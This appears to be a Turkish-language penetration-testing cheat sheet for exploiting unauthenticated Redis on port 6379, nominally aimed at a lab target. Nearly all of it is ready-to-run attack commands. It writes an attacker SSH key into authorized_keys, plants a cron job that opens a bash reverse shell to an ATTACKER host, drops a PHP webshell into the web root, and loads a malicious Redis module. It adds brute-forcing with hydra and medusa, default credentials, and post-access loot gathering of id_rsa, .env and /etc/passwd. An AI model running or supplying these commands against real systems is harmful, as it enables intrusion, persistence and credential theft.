6379 - Pentesting Redis

Redis rce

Auth’suz Redis bellek + dosya yazma primitifidir. authorized_keys, cron veya module load ile RCE. Hedef lab IP’si üzerinde komutları 6379 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. 6379 doğrula.

2. INFO/CONFIG unauth.

3. Yazma yolu seç.

4. Shell doğrula.

Keşif

nmap -Pn -sV -p6379 TARGET

nmap -Pn -p6379 --script redis-info TARGET

redis-cli -h TARGET info

redis-cli -h TARGET CONFIG GET dir

SSH key

redis-cli -h TARGET <<'EOF'
CONFIG SET dir /home/user/.ssh
CONFIG SET dbfilename authorized_keys
SET x "\n\nssh-rsa AAAA...\n\n"
SAVE
EOF

Cron / webshell

redis-cli -h TARGET CONFIG SET dir /var/spool/cron

redis-cli -h TARGET SET x '\n*/1 * * * * bash -i >& /dev/tcp/ATTACKER/443 0>&1\n'

redis-cli -h TARGET CONFIG SET dir /var/www/html

redis-cli -h TARGET SET x '<?php system($_GET[c]); ?>'

Module RCE

redis-cli -h TARGET MODULE LOAD /tmp/exp.so

redis-cli -h TARGET -a password ping

Derin enum

Redis için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p6379 TARGET

nmap -Pn -p6379 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:6379' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',6379));s.settimeout(3);print(s.recv(4096))"

Banner / TLS / ALPN notları → Redis

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 6379 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 6379

nmap -p6379 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit Redis

msfconsole -q -x 'search Redis; exit'

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

unauth redis → CONFIG WRITE → ssh/cron/web → shell
